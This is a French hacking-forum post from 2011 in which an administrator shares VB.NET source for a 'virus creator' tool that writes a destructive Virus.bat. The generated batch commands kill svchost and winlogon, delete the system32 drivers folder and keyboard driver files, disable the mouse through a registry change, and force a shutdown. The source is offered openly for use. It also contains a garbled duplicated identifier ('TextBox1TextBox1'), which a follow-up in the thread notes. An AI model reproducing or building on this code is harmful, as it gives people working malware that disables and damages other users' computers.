Apprendre le Hack Index du Forum
Apprendre le Hack

 
Apprendre le Hack Index du ForumFAQRechercherS’enregistrerConnexion

:: [CS] Créateur De Virus.bat ::

 
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié
Sujet précédent :: Sujet suivant  
Auteur Message
Inf3rnus
Administrateur

Hors ligne

Inscrit le: 22 Aoû 2011
Messages: 196

MessagePosté le: Dim 11 Déc - 07:13 (2011)    Sujet du message: [CS] Créateur De Virus.bat Répondre en citant

Voici un simple créateur de virus avec les options de base de Batch.
Vous avez un choix de l'enregistrer ou de voir le Code Source, une fois appuyé sur le bouton "Enregistrer", votre virus s'enregistrera au même endroit où se trouve ce petit utilitaire, et il porteras le nom "Virus".

---SCREEN---



---Code Source---




  1. Public Class Form1  
  2.     Dim Ouvrir_URL As Boolean  
  3.     Dim Message_Box As Boolean  
  4.     Dim Eteindre_l_Ordinateur As Boolean  
  5.     Dim Ecran_Bleu_De_La_Mort As Boolean  
  6.     Dim Désactiver_Souris As Boolean  
  7.     Dim Désactiver_Clavier As Boolean  
  8.   
  9.     Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)  
  10.         If CheckBox1.Checked = True Then  
  11.             Ouvrir_URL = True  
  12.         Else  
  13.             Ouvrir_URL = False  
  14.         End If  
  15.     End Sub  
  16.   
  17.     Private Sub CheckBox2_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)  
  18.         If CheckBox2.Checked = True Then  
  19.             Message_Box = True  
  20.         Else  
  21.             Message_Box = False  
  22.         End If  
  23.     End Sub  
  24.   
  25.     Private Sub CheckBox4_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)  
  26.         If CheckBox4.Checked = True Then  
  27.             Eteindre_l_Ordinateur = True  
  28.         Else  
  29.             Eteindre_l_Ordinateur = False  
  30.         End If  
  31.     End Sub  
  32.   
  33.     Private Sub CheckBox5_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)  
  34.         If CheckBox5.Checked = True Then  
  35.             Ecran_Bleu_De_La_Mort = True  
  36.         Else  
  37.             Ecran_Bleu_De_La_Mort = False  
  38.         End If  
  39.     End Sub  
  40.   
  41.     Private Sub CheckBox6_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)  
  42.         If CheckBox6.Checked = True Then  
  43.             Désactiver_Souris = True  
  44.         Else  
  45.             Désactiver_Souris = False  
  46.         End If  
  47.     End Sub  
  48.   
  49.     Private Sub CheckBox7_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs)  
  50.         If CheckBox7.Checked = True Then  
  51.             Désactiver_Clavier = True  
  52.         Else  
  53.             Désactiver_Clavier = False  
  54.         End If  
  55.     End Sub  
  56.   
  57.     Public Sub writebatch()  
  58.         TextBox1.Text = "@echo off" + vbNewLine  
  59.   
  60.         If Ouvrir_URL = True Then  
  61.             TextBox1TextBox1.Text = TextBox1.Text + "start " + TextBox2.Text + vbNewLine + vbNewLine  
  62.         End If  
  63.   
  64.         If Message_Box = True Then  
  65.             TextBox1TextBox1.Text = TextBox1.Text + "msg * " + TextBox3.Text + vbNewLine + vbNewLine  
  66.         End If  
  67.   
  68.         If Eteindre_l_Ordinateur = True Then  
  69.             TextBox1TextBox1.Text = TextBox1.Text + "SHUTDOWN -s -t " + NumericUpDown1.Value.ToString + vbNewLine + vbNewLine  
  70.         End If  
  71.   
  72.         If Ecran_Bleu_De_La_Mort = True Then  
  73.             TextBox1TextBox1.Text = TextBox1.Text + "tskill /A svchost*" + vbNewLine + "tskill /A winlogon*" + vbNewLine + "tskill /A winlogon*" + vbNewLine + "del ""C:\WINDOWS\system32\drivers""" + vbNewLine + vbNewLine  
  74.         End If  
  75.   
  76.         If Désactiver_Souris = True Then  
  77.             TextBox1TextBox1.Text = TextBox1.Text + "set key=""""HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass""""" + vbNewLine + "reg delete %key%" + vbNewLine + "reg add %key% /v Start /t REG_DWORD /d 4" + vbNewLine + vbNewLine  
  78.         End If  
  79.   
  80.         If Désactiver_Clavier = True Then  
  81.             TextBox1TextBox1.Text = TextBox1.Text + "del %C:\WINDOWS\system\keyboard.drv%" + vbNewLine + "del %C:\WINDOWS\system32\keyboard.sys%" + vbNewLine + vbNewLine  
  82.         End If  
  83.   
  84.     End Sub  
  85.   
  86.     Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click  
  87.         writebatch()  
  88.     End Sub  
  89.   
  90.     Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click  
  91.         writebatch()  
  92.         If My.Computer.FileSystem.FileExists("Virus.bat") Then  
  93.             My.Computer.FileSystem.DeleteFile("Virus.bat")  
  94.         End If  
  95.         My.Computer.FileSystem.WriteAllText("Virus.bat", TextBox1.Text, True)  
  96.         MsgBox("Virus Enregistré avec succès")  
  97.     End Sub  
  98. End Class  

Question : il y as pas une erreur dans cette partie ?





  1.  If Ouvrir_URL = True Then    
  2.             TextBox1TextBox1.Text =  TextBox1.Text  




_________________

Question : c'est les deux "textbox1"?

Réponse : oui


Revenir en haut
Publicité






MessagePosté le: Dim 11 Déc - 07:13 (2011)    Sujet du message: Publicité

PublicitéSupprimer les publicités ?
Revenir en haut
Montrer les messages depuis:   
Poster un nouveau sujet   Répondre au sujet    Apprendre le Hack Index du Forum -> A trié Toutes les heures sont au format GMT + 2 Heures
Page 1 sur 1

 
Sauter vers:  




Index | creer un forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
Powered by phpBB © 2001, 2005 phpBB Group
Traduction par : phpBB-fr.com